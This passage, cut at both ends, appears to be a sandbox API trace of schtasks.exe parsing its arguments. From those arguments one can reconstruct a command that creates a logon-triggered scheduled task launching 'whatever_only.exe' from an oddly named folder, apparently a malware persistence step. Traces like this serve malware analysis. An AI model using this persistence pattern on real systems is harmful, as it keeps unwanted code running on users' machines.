_ArgList=0xff758 | out: _Buffer="|create|") returned 8 [0126.934] lstrlenW (lpString="|?|") returned 3 [0126.934] lstrlenW (lpString="|create|") returned 8 [0126.934] SetLastError (dwErrCode=0x490) [0126.934] lstrlenW (lpString="create") returned 6 [0126.934] lstrlenW (lpString="create") returned 6 [0126.934] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.934] GetProcessHeap () returned 0x110000 [0126.934] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12c1e0) returned 1 [0126.934] GetProcessHeap () returned 0x110000 [0126.935] RtlReAllocateHeap (Heap=0x110000, Flags=0xc, Ptr=0x12c1e0, Size=0x14) returned 0x12c240 [0126.935] lstrlenW (lpString="create") returned 6 [0126.935] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.935] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|create|") returned 8 [0126.935] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|create|") returned 8 [0126.935] lstrlenW (lpString="|create|") returned 8 [0126.935] lstrlenW (lpString="|create|") returned 8 [0126.935] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0126.935] SetLastError (dwErrCode=0x0) [0126.935] SetLastError (dwErrCode=0x0) [0126.935] SetLastError (dwErrCode=0x0) [0126.935] lstrlenW (lpString="/tn") returned 3 [0126.935] lstrlenW (lpString="-/") returned 2 [0126.935] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0126.935] lstrlenW (lpString="?") returned 1 [0126.935] lstrlenW (lpString="?") returned 1 [0126.935] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.935] lstrlenW (lpString="tn") returned 2 [0126.935] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.935] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|?|") returned 3 [0126.935] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|tn|") returned 4 [0126.935] lstrlenW (lpString="|?|") returned 3 [0126.935] lstrlenW (lpString="|tn|") returned 4 [0126.935] SetLastError (dwErrCode=0x490) [0126.935] lstrlenW (lpString="create") returned 6 [0126.936] lstrlenW (lpString="create") returned 6 [0126.936] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.936] lstrlenW (lpString="tn") returned 2 [0126.936] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.936] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|create|") returned 8 [0126.936] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|tn|") returned 4 [0126.936] lstrlenW (lpString="|create|") returned 8 [0126.936] lstrlenW (lpString="|tn|") returned 4 [0126.936] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0126.936] SetLastError (dwErrCode=0x490) [0126.936] lstrlenW (lpString="delete") returned 6 [0126.936] lstrlenW (lpString="delete") returned 6 [0126.936] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.936] lstrlenW (lpString="tn") returned 2 [0126.936] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.936] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|delete|") returned 8 [0126.936] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|tn|") returned 4 [0126.936] lstrlenW (lpString="|delete|") returned 8 [0126.936] lstrlenW (lpString="|tn|") returned 4 [0126.936] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0126.936] SetLastError (dwErrCode=0x490) [0126.936] lstrlenW (lpString="query") returned 5 [0126.936] lstrlenW (lpString="query") returned 5 [0126.936] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.936] lstrlenW (lpString="tn") returned 2 [0126.937] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.937] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x8, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|query|") returned 7 [0126.937] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|tn|") returned 4 [0126.937] lstrlenW (lpString="|query|") returned 7 [0126.937] lstrlenW (lpString="|tn|") returned 4 [0126.937] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0126.937] SetLastError (dwErrCode=0x490) [0126.937] lstrlenW (lpString="change") returned 6 [0126.937] lstrlenW (lpString="change") returned 6 [0126.937] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.937] lstrlenW (lpString="tn") returned 2 [0126.937] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.937] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|change|") returned 8 [0126.937] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|tn|") returned 4 [0126.937] lstrlenW (lpString="|change|") returned 8 [0126.937] lstrlenW (lpString="|tn|") returned 4 [0126.937] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0126.937] SetLastError (dwErrCode=0x490) [0126.937] lstrlenW (lpString="run") returned 3 [0126.937] lstrlenW (lpString="run") returned 3 [0126.937] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.937] lstrlenW (lpString="tn") returned 2 [0126.937] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.937] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|run|") returned 5 [0126.938] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|tn|") returned 4 [0126.938] lstrlenW (lpString="|run|") returned 5 [0126.938] lstrlenW (lpString="|tn|") returned 4 [0126.938] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0126.938] SetLastError (dwErrCode=0x490) [0126.938] lstrlenW (lpString="end") returned 3 [0126.938] lstrlenW (lpString="end") returned 3 [0126.938] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.938] lstrlenW (lpString="tn") returned 2 [0126.938] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.938] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|end|") returned 5 [0126.938] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|tn|") returned 4 [0126.938] lstrlenW (lpString="|end|") returned 5 [0126.938] lstrlenW (lpString="|tn|") returned 4 [0126.938] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0126.938] SetLastError (dwErrCode=0x490) [0126.938] lstrlenW (lpString="showsid") returned 7 [0126.938] lstrlenW (lpString="showsid") returned 7 [0126.938] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.938] GetProcessHeap () returned 0x110000 [0126.938] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12c240) returned 1 [0126.938] GetProcessHeap () returned 0x110000 [0126.938] RtlReAllocateHeap (Heap=0x110000, Flags=0xc, Ptr=0x12c240, Size=0x16) returned 0x12c240 [0126.939] lstrlenW (lpString="tn") returned 2 [0126.939] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.939] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0xa, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|showsid|") returned 9 [0126.939] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|tn|") returned 4 [0126.939] lstrlenW (lpString="|showsid|") returned 9 [0126.939] lstrlenW (lpString="|tn|") returned 4 [0126.939] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0126.939] SetLastError (dwErrCode=0x490) [0126.939] SetLastError (dwErrCode=0x490) [0126.939] SetLastError (dwErrCode=0x0) [0126.939] lstrlenW (lpString="/tn") returned 3 [0126.939] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0126.939] SetLastError (dwErrCode=0x490) [0126.939] SetLastError (dwErrCode=0x0) [0126.939] lstrlenW (lpString="/tn") returned 3 [0126.939] GetProcessHeap () returned 0x110000 [0126.939] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x8) returned 0x12c1e0 [0126.939] GetProcessHeap () returned 0x110000 [0126.939] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12cbf0 [0126.939] SetLastError (dwErrCode=0x0) [0126.939] SetLastError (dwErrCode=0x0) [0126.939] lstrlenW (lpString="whatever_only") returned 13 [0126.939] lstrlenW (lpString="-/") returned 2 [0126.939] StrChrIW (lpStart="-/", wMatch=0x77) returned 0x0 [0126.939] SetLastError (dwErrCode=0x490) [0126.940] SetLastError (dwErrCode=0x490) [0126.940] SetLastError (dwErrCode=0x0) [0126.940] lstrlenW (lpString="whatever_only") returned 13 [0126.940] StrChrIW (lpStart="whatever_only", wMatch=0x3a) returned 0x0 [0126.940] SetLastError (dwErrCode=0x490) [0126.940] SetLastError (dwErrCode=0x0) [0126.940] lstrlenW (lpString="whatever_only") returned 13 [0126.940] GetProcessHeap () returned 0x110000 [0126.940] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x1c) returned 0x12cc20 [0126.940] GetProcessHeap () returned 0x110000 [0126.940] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12cc50 [0126.940] SetLastError (dwErrCode=0x0) [0126.940] SetLastError (dwErrCode=0x0) [0126.940] lstrlenW (lpString="/sc") returned 3 [0126.940] lstrlenW (lpString="-/") returned 2 [0126.940] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0126.940] lstrlenW (lpString="?") returned 1 [0126.940] lstrlenW (lpString="?") returned 1 [0126.940] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.940] lstrlenW (lpString="sc") returned 2 [0126.940] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.940] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|?|") returned 3 [0126.941] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|sc|") returned 4 [0126.941] lstrlenW (lpString="|?|") returned 3 [0126.941] lstrlenW (lpString="|sc|") returned 4 [0126.941] SetLastError (dwErrCode=0x490) [0126.941] lstrlenW (lpString="create") returned 6 [0126.941] lstrlenW (lpString="create") returned 6 [0126.941] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.941] lstrlenW (lpString="sc") returned 2 [0126.941] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.941] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|create|") returned 8 [0126.941] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|sc|") returned 4 [0126.941] lstrlenW (lpString="|create|") returned 8 [0126.941] lstrlenW (lpString="|sc|") returned 4 [0126.941] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0126.941] SetLastError (dwErrCode=0x490) [0126.941] lstrlenW (lpString="delete") returned 6 [0126.941] lstrlenW (lpString="delete") returned 6 [0126.941] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.941] lstrlenW (lpString="sc") returned 2 [0126.941] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.941] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|delete|") returned 8 [0126.941] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|sc|") returned 4 [0126.941] lstrlenW (lpString="|delete|") returned 8 [0126.941] lstrlenW (lpString="|sc|") returned 4 [0126.942] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0126.942] SetLastError (dwErrCode=0x490) [0126.942] lstrlenW (lpString="query") returned 5 [0126.942] lstrlenW (lpString="query") returned 5 [0126.942] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.942] lstrlenW (lpString="sc") returned 2 [0126.942] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.942] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x8, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|query|") returned 7 [0126.942] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|sc|") returned 4 [0126.942] lstrlenW (lpString="|query|") returned 7 [0126.942] lstrlenW (lpString="|sc|") returned 4 [0126.942] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0126.942] SetLastError (dwErrCode=0x490) [0126.942] lstrlenW (lpString="change") returned 6 [0126.942] lstrlenW (lpString="change") returned 6 [0126.942] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.942] lstrlenW (lpString="sc") returned 2 [0126.942] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.942] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|change|") returned 8 [0126.942] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|sc|") returned 4 [0126.942] lstrlenW (lpString="|change|") returned 8 [0126.942] lstrlenW (lpString="|sc|") returned 4 [0126.942] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0126.942] SetLastError (dwErrCode=0x490) [0126.942] lstrlenW (lpString="run") returned 3 [0126.942] lstrlenW (lpString="run") returned 3 [0126.943] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.943] lstrlenW (lpString="sc") returned 2 [0126.943] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.943] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|run|") returned 5 [0126.943] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|sc|") returned 4 [0126.943] lstrlenW (lpString="|run|") returned 5 [0126.943] lstrlenW (lpString="|sc|") returned 4 [0126.943] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0126.943] SetLastError (dwErrCode=0x490) [0126.943] lstrlenW (lpString="end") returned 3 [0126.943] lstrlenW (lpString="end") returned 3 [0126.943] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.943] lstrlenW (lpString="sc") returned 2 [0126.943] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.943] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|end|") returned 5 [0126.943] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|sc|") returned 4 [0126.943] lstrlenW (lpString="|end|") returned 5 [0126.943] lstrlenW (lpString="|sc|") returned 4 [0126.943] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0126.943] SetLastError (dwErrCode=0x490) [0126.943] lstrlenW (lpString="showsid") returned 7 [0126.943] lstrlenW (lpString="showsid") returned 7 [0126.943] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.943] lstrlenW (lpString="sc") returned 2 [0126.943] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.943] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0xa, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|showsid|") returned 9 [0126.944] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|sc|") returned 4 [0126.944] lstrlenW (lpString="|showsid|") returned 9 [0126.944] lstrlenW (lpString="|sc|") returned 4 [0126.944] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0126.944] SetLastError (dwErrCode=0x490) [0126.944] SetLastError (dwErrCode=0x490) [0126.944] SetLastError (dwErrCode=0x0) [0126.944] lstrlenW (lpString="/sc") returned 3 [0126.944] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0126.944] SetLastError (dwErrCode=0x490) [0126.944] SetLastError (dwErrCode=0x0) [0126.944] lstrlenW (lpString="/sc") returned 3 [0126.944] GetProcessHeap () returned 0x110000 [0126.944] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x8) returned 0x12c270 [0126.944] GetProcessHeap () returned 0x110000 [0126.944] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12cc80 [0126.944] SetLastError (dwErrCode=0x0) [0126.944] SetLastError (dwErrCode=0x0) [0126.944] lstrlenW (lpString="ONLOGON") returned 7 [0126.944] lstrlenW (lpString="-/") returned 2 [0126.944] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0126.944] SetLastError (dwErrCode=0x490) [0126.944] SetLastError (dwErrCode=0x490) [0126.944] SetLastError (dwErrCode=0x0) [0126.944] lstrlenW (lpString="ONLOGON") returned 7 [0126.944] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0126.944] SetLastError (dwErrCode=0x490) [0126.944] SetLastError (dwErrCode=0x0) [0126.944] lstrlenW (lpString="ONLOGON") returned 7 [0126.944] GetProcessHeap () returned 0x110000 [0126.945] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x10) returned 0x12d4e0 [0126.945] GetProcessHeap () returned 0x110000 [0126.945] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12ccb0 [0126.945] SetLastError (dwErrCode=0x0) [0126.945] SetLastError (dwErrCode=0x0) [0126.945] lstrlenW (lpString="/tr") returned 3 [0126.945] lstrlenW (lpString="-/") returned 2 [0126.945] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0126.945] lstrlenW (lpString="?") returned 1 [0126.945] lstrlenW (lpString="?") returned 1 [0126.997] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.997] lstrlenW (lpString="tr") returned 2 [0126.997] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.997] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|?|") returned 3 [0126.997] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|tr|") returned 4 [0126.998] lstrlenW (lpString="|?|") returned 3 [0126.998] lstrlenW (lpString="|tr|") returned 4 [0126.998] SetLastError (dwErrCode=0x490) [0126.998] lstrlenW (lpString="create") returned 6 [0126.998] lstrlenW (lpString="create") returned 6 [0126.998] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.998] lstrlenW (lpString="tr") returned 2 [0126.998] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.998] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|create|") returned 8 [0126.998] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|tr|") returned 4 [0126.998] lstrlenW (lpString="|create|") returned 8 [0126.998] lstrlenW (lpString="|tr|") returned 4 [0126.998] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0126.998] SetLastError (dwErrCode=0x490) [0126.998] lstrlenW (lpString="delete") returned 6 [0126.998] lstrlenW (lpString="delete") returned 6 [0126.998] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.998] lstrlenW (lpString="tr") returned 2 [0126.998] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.998] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|delete|") returned 8 [0126.998] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|tr|") returned 4 [0126.998] lstrlenW (lpString="|delete|") returned 8 [0126.998] lstrlenW (lpString="|tr|") returned 4 [0126.998] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0126.998] SetLastError (dwErrCode=0x490) [0126.998] lstrlenW (lpString="query") returned 5 [0126.999] lstrlenW (lpString="query") returned 5 [0126.999] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.999] lstrlenW (lpString="tr") returned 2 [0126.999] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.999] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x8, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|query|") returned 7 [0126.999] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|tr|") returned 4 [0126.999] lstrlenW (lpString="|query|") returned 7 [0126.999] lstrlenW (lpString="|tr|") returned 4 [0126.999] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0126.999] SetLastError (dwErrCode=0x490) [0126.999] lstrlenW (lpString="change") returned 6 [0126.999] lstrlenW (lpString="change") returned 6 [0126.999] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.999] lstrlenW (lpString="tr") returned 2 [0126.999] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.999] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|change|") returned 8 [0126.999] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|tr|") returned 4 [0126.999] lstrlenW (lpString="|change|") returned 8 [0126.999] lstrlenW (lpString="|tr|") returned 4 [0126.999] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0126.999] SetLastError (dwErrCode=0x490) [0126.999] lstrlenW (lpString="run") returned 3 [0126.999] lstrlenW (lpString="run") returned 3 [0126.999] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.000] lstrlenW (lpString="tr") returned 2 [0127.000] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.000] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|run|") returned 5 [0127.000] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|tr|") returned 4 [0127.000] lstrlenW (lpString="|run|") returned 5 [0127.000] lstrlenW (lpString="|tr|") returned 4 [0127.000] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0127.000] SetLastError (dwErrCode=0x490) [0127.000] lstrlenW (lpString="end") returned 3 [0127.000] lstrlenW (lpString="end") returned 3 [0127.000] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.000] lstrlenW (lpString="tr") returned 2 [0127.000] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.000] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|end|") returned 5 [0127.000] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|tr|") returned 4 [0127.000] lstrlenW (lpString="|end|") returned 5 [0127.000] lstrlenW (lpString="|tr|") returned 4 [0127.000] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0127.000] SetLastError (dwErrCode=0x490) [0127.000] lstrlenW (lpString="showsid") returned 7 [0127.000] lstrlenW (lpString="showsid") returned 7 [0127.000] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.000] lstrlenW (lpString="tr") returned 2 [0127.000] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.000] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0xa, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|showsid|") returned 9 [0127.000] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|tr|") returned 4 [0127.000] lstrlenW (lpString="|showsid|") returned 9 [0127.000] lstrlenW (lpString="|tr|") returned 4 [0127.001] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0127.001] SetLastError (dwErrCode=0x490) [0127.001] SetLastError (dwErrCode=0x490) [0127.001] SetLastError (dwErrCode=0x0) [0127.001] lstrlenW (lpString="/tr") returned 3 [0127.001] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0127.001] SetLastError (dwErrCode=0x490) [0127.001] SetLastError (dwErrCode=0x0) [0127.001] lstrlenW (lpString="/tr") returned 3 [0127.001] GetProcessHeap () returned 0x110000 [0127.001] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x8) returned 0x12dcb0 [0127.001] GetProcessHeap () returned 0x110000 [0127.001] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12cce0 [0127.001] SetLastError (dwErrCode=0x0) [0127.001] SetLastError (dwErrCode=0x0) [0127.001] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\whatever_only.exe'") returned 47 [0127.001] lstrlenW (lpString="-/") returned 2 [0127.001] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0127.001] SetLastError (dwErrCode=0x490) [0127.001] SetLastError (dwErrCode=0x490) [0127.001] SetLastError (dwErrCode=0x0) [0127.001] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\whatever_only.exe'") returned 47 [0127.001] StrChrIW (lpStart="'C:\\comproviderRuntimecommon\\whatever_only.exe'", wMatch=0x3a) returned=":\\comproviderRuntimecommon\\whatever_only.exe'" [0127.001] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\whatever_only.exe'") returned 47 [0127.001] GetProcessHeap () returned 0x110000 [0127.001] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x18) returned 0x12d500 [0127.001] _memicmp (_Buf1=0x12d500, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.001] GetProcessHeap () returned 0x110000 [0127.001] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0xe) returned 0x12d520 [0127.002] GetProcessHeap () returned 0x110000 [0127.002] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x18) returned 0x12d540 [0127.002] _memicmp (_Buf1=0x12d540, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.002] GetProcessHeap () returned 0x110000 [0127.002] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x62) returned 0x12dcd0 [0127.002] SetLastError (dwErrCode=0x7a) [0127.002] SetLastError (dwErrCode=0x0) [0127.002] SetLastError (dwErrCode=0x0) [0127.002] lstrlenW (lpString="'C") returned 2 [0127.002] lstrlenW (lpString="-/") returned 2 [0127.002] StrChrIW 